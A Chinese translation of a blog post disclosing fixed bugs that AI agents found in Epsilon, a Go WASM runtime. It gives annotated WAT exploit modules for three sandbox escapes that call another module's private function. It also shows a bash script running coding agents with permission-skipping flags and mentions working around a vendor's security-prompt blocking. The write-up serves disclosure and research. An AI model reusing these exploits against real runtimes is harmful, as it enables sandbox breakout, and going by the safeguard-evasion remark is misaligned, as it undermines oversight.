他们发现的所有安全漏洞

Hacker News Top 新闻

摘要

本文详细介绍了AI代理在Epsilon(一个用Go编写的小型WASM运行时)中发现的超过20个安全漏洞,其中包括多个沙箱逃逸漏洞,允许恶意模块突破隔离。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/05/21 09:11

# 他们发现的所有漏洞 来源: https://andreapivetta.com/posts/all-the-bugs-they-found.html 2026-05-18 去年我用 Go 写了一个小型 WASM 运行时,**Epsilon**(https://github.com/ziggy42/epsilon)。就运行时而言,这是一个相当简单的实现:没有 JIT,只是一个纯指令解释器,大约 11k 行代码。它还经过了非常广泛的测试,针对的是[官方 WASM 测试套件](https://github.com/WebAssembly/testsuite)。Epsilon 设计为可嵌入到其他应用程序中,并为可能不可信的代码提供沙箱。你认为 AI 智能体在其中发现了多少安全漏洞?**超过 20 个。** 其中大多数是相对简单的 DoS 攻击,例如解析或验证期间的 panic。有些是明显的 API 设计缺陷,如果项目使用得更多一些,可能早就暴露了。有几个漏洞本身无法利用,但如果与未来其他地方的漏洞结合,就会变得严重。然而,有一小部分漏洞相当有趣:沙箱逃逸,允许恶意的[WASM 模块](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Concepts#webassembly_key_concepts)突破隔离,触及另一个模块的私有状态。这些是我最喜欢的。 ## 背景 一个 Epsilon 运行时可以托管多个 WASM 模块。在 WASM 安全模型中,模块之间是隔离的,除非有显式导出(和导入)的对象。未导出的函数、内存等对定义它们的模块是私有的。 WASM 是一种类型化的栈机,但类型检查不在运行时进行:执行之前,验证器会遍历字节码,并验证在任意时刻栈上的值是否具有预期的类型。例如,一个尝试对 `funcref` 局部变量执行 `local.set` 且值为 `i32` 的模块,在开始运行之前就会被拒绝。然后 Epsilon 盲目执行,信任验证器先前进行的检查。 由于验证器提供的类型保证,运行时 Epsilon 中的 `funcref` 被表示为 `int32`:`-1` 是空哨兵,任何非负值都是全局函数存储区的索引,该存储区由运行时中实例化的所有模块共享。因此,在运行过程中,常量 `0` 和指向存储区中第一个函数的 `funcref` 是无法区分的。这简化了实现并提高了性能,代价是将安全性完全委托给了验证器。 下面各节中的每个攻击者模块都与同一个受害者模块一起运行: ``` (module (func $secret (result i32) ;; 声明函数 $secret:无参数, ;; 返回 32 位整数。私有,从未导出。 i32.const 1337 ;; 将 1337 压入栈;成为返回值 ) ) ``` 由于 `$secret` 是运行时中实例化的第一个函数,它位于存储区索引 0。每个攻击者模块的目标是让 VM 调用它,返回 `1337`,即使从未被赋予一个合法的指向它的 `funcref`。 ## 1. 零不是空 这是三个中最简单的。这是攻击者: ``` (module (type $t (func (result i32))) ;; call_indirect 的类型签名 (table 1 funcref) ;; 大小为 1 的表(本质上是一个 funcref 数组)。 ;; 由其模块级索引标识,这里为 0 ;; 因为它是声明的第一个(也是唯一一个)表 (func (export "exploit") (result i32) (local $f funcref) ;; 声明,从未赋值; ;; 根据规范,ref 局部变量默认为 null i32.const 0 ;; 表中要写入的槽位 ;; 栈:[0] local.get $f ;; 将 $f 的值(null)压入 ;; 栈:[0, null] table.set 0 ;; 立即数 0 选择要写入的表 ;; (tables[0]);从栈中弹出两个值: ;; 先是 funcref (null),然后是槽位索引。 ;; 写入 tables[0][0] = null ;; 栈:[] i32.const 0 ;; 接下来要从表中获取的槽位 ;; 栈:[0] call_indirect (type $t) ;; 弹出槽位,获取 tables[0][slot] (null), ;; 然后调用它 ) ) ``` `exploit` 函数虽然是有效的 WASM,但应该在运行时陷入。局部变量 `$f` 未初始化,因此为 null。`call_indirect` 应该失败。但 Epsilon 中并没有这样——它反而调用了 `$secret`。 罪魁祸首是局部变量的初始化方式。当调用一个函数时,规范要求将局部变量初始化为它们的默认值:数值和向量类型为零,但引用类型为 null。Epsilon 通过使用 Go 的 `clear()` 将所有非参数局部变量置零来实现这一点: ``` // 将非参数局部变量清除为零值。 clear(locals[numParams:]) ``` 这很惯用且快速,但 Go 的 `clear()` 只是将局部变量设置为 `0`。根据我们的 funcref 表示,这不是 null (`-1`):而是 `$secret` 的存储区索引。当调用 `exploit` 时,VM 没有在 null 的 `call_indirect` 上陷入,而是调用了存储区索引 0 处的函数。 已修复 (https://github.com/ziggy42/epsilon/pull/62)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。 ## 2. 幽灵块参数 这个漏洞结合了两个独立的 bug: ``` (module (type $t (func (result i32))) (table 1 funcref) (func (export "exploit") (result i32) (local $f funcref) ref.null func ;; 将一个 null funcref 压入栈 i32.const 0 (block (param i32) ;; block 从栈中消费 i32... drop ;; ...并立即丢弃它 ) local.set $f ;; 将栈顶存储到 $f(null funcref) local.get $f ref.is_null ;; $f 是 null 吗? if (result i32) i32.const 42 ;; 预期路径:$f 为 null,返回 42 else ;; 不可达路径:$f 总是 null i32.const 0 local.get $f table.set 0 i32.const 0 call_indirect (type $t) end ) ) ``` 在任何正确的 WASM 实现中(实际上在最新版本的 Epsilon 中),`exploit` 按预期返回 `42`。但它却返回了 `1337`。 ### 栈高度错位 在执行过程中,控制流块(`block`、`loop`、`if`)可能从栈中消费输入并在栈上产生结果。执行结束时,栈必须与块的签名描述完全一致:消费 N 个参数,推送 N 个结果到它们的位置。主体留在中间的任何内容都必须丢弃,因此运行时需要知道进入块时栈的高度。 在 Epsilon 中,当一个新的控制帧被压入控制帧栈时,该高度被记录: ``` vm.pushControlFrame(frame, controlFrame{ stackHeight: vm.stack.size(), // 进入块时的高度 // ... }) ``` 但这里存在第一个 bug:该行是在块的参数已经被压入栈*之后*捕获栈高度的。在 WASM 中,参数被块*消费*:它们属于块,而不是外围作用域。因此验证器和 VM 现在在栈上“块的底部”位置方面相差正好 N 个参数。 ### 内存复活 当一个块结束时,VM 调用 `unwind` 将栈恢复到其声明的、块前的高度。`targetHeight` 是存储在 `controlFrame` 结构体中的栈高度。 ``` func (s *valueStack) unwind(targetHeight, preserveCount uint32) { valuesToPreserve := s.data[s.size()-preserveCount:] s.data = s.data[:targetHeight] s.data = append(s.data, valuesToPreserve...) } ``` 由于上面的栈高度错位 bug,`targetHeight` 太高了:它将块的参数视为仍然在栈上。因此 `s.data[:targetHeight]` 导致切片增长而不是截断。只要 `targetHeight <= cap(s.data)`,Go 就乐意重新暴露底层数组中的任何内容。验证器认为已被消费的参数现在在栈顶复活了。 ### 漏洞碰撞 让我们结合这两个 bug 走一遍 `exploit` 函数: ``` (func (export "exploit") (result i32) (local $f funcref) ref.null func ;; 栈:[null_funcref] i32.const 0 ;; 0 是 $secret 恰好位于全局函数存储区中的索引, ;; 因为它是第一个被实例化的函数 ;; 栈:[null_funcref, 0] (block (param i32) ;; bug #1:VM 记录 stackHeight = 2;验证器, ;; 将 i32 视为已消费(根据规范),记录 1 drop ;; 弹出并丢弃栈顶 (0) ;; 栈:[null_funcref] ) ;; bug #2:`end` 调用 unwind,将 s.data 设置为 ;; s.data[:2],因此 len 1 增长回 2,被丢弃的 0 ;; 在顶部复活。顶部现在是一个值为 0 的 int32, ;; 但验证器仍然认为它是一个 funcref ;; 栈:[null_funcref, 0] local.set $f ;; 将 0 放入 $f,本应是 funcref。由于 ;; Epsilon 内部对 funcref 的表示也是 int32, ;; 这在运行时有效 local.get $f ;; 栈:[null_funcref, 0] ref.is_null ;; null 是 -1,所以 0 不是 null;弹出 funcref 并 ;; 压入 0 (false)。从视觉上看栈顶仍然是 0, ;; 但其类型从 funcref 变为 i32 ;; 栈:[null_funcref, 0 (i32 false)] if (result i32) ;; 弹出 i32 条件 (0, false),因此 else 分支触发 ;; 栈:[null_funcref] i32.const 42 ;; 不执行 else i32.const 0 ;; 即将到来的 table.set 的槽位索引 ;; 栈:[null_funcref, 0] local.get $f ;; 要存储的 funcref 值(实际上是 int32 0) ;; 栈:[null_funcref, 0, 0] table.set 0 ;; 弹出 funcref 然后是槽位索引;两者都是 0, ;; 因此 tables[0][0] 现在持有打扮成 funcref 的整数 0 ;; 栈:[null_funcref] i32.const 0 ;; 要从表中查找的槽位索引 ;; 栈:[null_funcref, 0] call_indirect (type $t) ;; 弹出槽位索引,获取 tables[0][0](我们的 ;; 打扮成 funcref 的整数 0),它指向 ;; store[0] = $secret。调用它。 end ) ``` 一个完全有效的 WASM 模块刚刚调用了另一个模块中的未导出函数。通过选择不同的整数,它可以访问 Epsilon 全局存储区中的任何私有函数。 已修复 (https://github.com/ziggy42/epsilon/pull/48)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。 ## 3. 栈中的幽灵 前两个利用依赖于验证器和 VM 在沙箱内部关于栈上值的分歧。这个则转变了类别:分歧在于宿主函数的*声明*签名与其运行时*实际*返回的内容之间。 ``` (module (type $t (func (result i32))) (import "env" "leak" (func $leak (result funcref))) ;; 宿主必须提供 env.leak (table 1 funcref) (func (export "exploit") (result i32) i32.const 0 ;; 表索引 i32.const 0 ;; $secret 在全局函数存储区中的索引 call $leak ;; 声明返回一个 funcref;验证器认为 ;; 此调用后栈上新增一个值 table.set 0 ;; 将“结果”(实际上是我们的 0)存储到表中 i32.const 0 call_indirect (type $t) return ) ) ``` 要使这个利用生效,宿主需要提供一个函数 `env.leak`,其运行时行为与其签名不一致:即返回的结果*少于*承诺的。在正确的 WASM 实现中,运行时应该对此不匹配进行陷入。在 Epsilon 中,VM 盲目信任宿主的声明签名: ``` res := fun.hostCode(fun.module, args...) vm.stack.pushAll(res) ``` 如果 `leak` 返回一个空切片而不是承诺的 funcref,`pushAll` 什么都没做。验证器相信已经压入了一个 funcref。相反,栈没有变化。在 `$leak` 之前压入的两个 `0` 仍然在栈上。VM 执行 `table.set 0` 并弹出它们:一个作为 funcref,一个作为槽位索引。`tables[0][0]` 现在持有整数 0。`call_indirect` 获取它,并愉快地调用了索引 0 处的函数 `$secret`。 已修复 (https://github.com/ziggy42/epsilon/pull/61)。复现 (https://gist.github.com/ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8)。 ## 方法论 我结合了多种方法来发现这些漏洞,首先是使用一个类似于[Black-hat LLMs](https://youtu.be/1sd26pWhfmg?t=307) 演讲中描述的脚本: ```bash #!/bin/bash # Directory to store vulnerability reports VULN_DIR="vulnerabilities" mkdir -p "$VULN_DIR" # List of areas to investigate AREAS=( "epsilon/parser.go" "epsilon/validation.go" "epsilon/vm.go" "epsilon/memory.go" "epsilon/imports.go" "wasip1/wasi_resources.go" "wasip1/wasi_poll.go" "wasip1/wasi_unix.go" ) PROMPT_TEMPLATE="You are an expert security researcher and exploit developer. STRICT CONSTRAINT: Do NOT modify any file outside the '$VULN_DIR/' directory. Do not touch 'epsilon/', 'wasip1/', or any other source file. All output goes in '$VULN_DIR/' only. Your task is to objectively investigate the following file for security vulnerabilities: %s Explore the file and any related files, data structures, or interactions it depends on. Where relevant, check behavior against the WebAssembly 2.0 specification (https://webassembly.github.io/spec/versions/core/WebAssembly-2.0.pdf) and the WASI Preview 1 specification — a deviation from spec in security-sensitive code is itself a vulnerability. Do not flag missing features from specs beyond WebAssembly 2.0. Do not assume a vulnerability exists. If after thorough investigation you find nothing exploitable, state so clearly and stop. If you confirm a vulnerability: 1. Create a dedicated directory: '$VULN_DIR//' 2. Write 'README.md' with: root cause, impact, and reproduction steps 3. Write a PoC exploit: a concrete, runnable demonstration (Go test, .wasm file, or script) that proves the vulnerability is triggerable by a malicious WebAssembly module without any special host configuration" # Get agent from command line, default to claude AGENT=${1:-claude} if [ "$AGENT" == "claude" ]; then AGENT_CMD="claude --dangerously-skip-permissions" elif [ "$AGENT" == "gemini" ]; then AGENT_CMD="gemini --yolo" elif [ "$AGENT" == "vibe" ]; then AGENT_CMD="vibe --trust" else echo "Usage: $0 [claude|gemini|vibe]" exit 1 fi for AREA in "${AREAS[@]}"; do echo "--------------------------------------------------" echo "Starting investigation of area: $AREA using $AGENT" echo "--------------------------------------------------" CURRENT_PROMPT=$(printf "$PROMPT_TEMPLATE" "$AREA") $AGENT_CMD -p "$CURRENT_PROMPT" echo "Finished investigation of $AREA." echo "Sleeping for 10 seconds to respect rate limits..." sleep 10 done ``` 然后我转而使用 [askill](https://github.com/ziggy42/epsilon/blob/main/.agents/skills/security-audit/SKILL.md),它稍微方便一些。老实说,我不确定哪个更好,因为我是在不同时间使用的:当我切换时,脚本已经找到了低垂的果实,所以 askill 从来没有机会找到那些。以这种方式重新发现相同的漏洞留给读者作为练习。 为了绕过 token 限制,我还使用了多种模型,主要是: - Gemini 3 Flash - Gemini 3.1 Pro - Opus 4.7 同样,很难比较它们的性能,因为它们是在不同时间使用的。大多数更严重的问题是由 Gemini 3.1 Pro 发现的,这是我一开始使用的主要模型。不过,试图绕过 Anthropic 对安全相关提示的屏蔽确实很累人。 ## 总结 Epsilon 是一个周末爱好项目,所以我预期智能体会找到*一些*东西。但看到其中一些问题仍然令人惊讶。特别是 bug #2 相当酷。请更新到 [0.1.0 版本](https://github.com/ziggy42/epsilon/blob/main/CHANGELOG.md#010---2026-05-19)。

相似文章

四大编码代理供应商的7个沙箱逃逸漏洞

Lobsters Hottest

Pillar Research在Cursor、Codex、Gemini CLI和Antigravity的AI编码代理中发现了沙箱逃逸漏洞,揭示了这些代理可以写入后来宿主组件信任的文件,从而绕过沙箱边界。该发现凸显了为代理安全建立新威胁模型的必要性。

数百万AI代理因开源包中的严重漏洞而面临风险

Ars Technica

开源ASGI框架Starlette中的一个严重漏洞(CVE-2026-48710,名为BadHost)使数百万AI代理和服务器面临数据被盗和凭证泄露的风险,影响了FastAPI、vLLM和LiteLLM等框架。该漏洞已在Starlette 1.0.1中修复,利用起来非常简单,凸显了AI工具生态系统中的风险。

AI安全扫描在10周内发现17个漏洞

Lobsters Hottest

基于AI的安全扫描在10周内在Perfetto的trace处理器中发现了17个漏洞,凸显了AI发现那些此前很少受到关注的长尾代码中漏洞的潜力。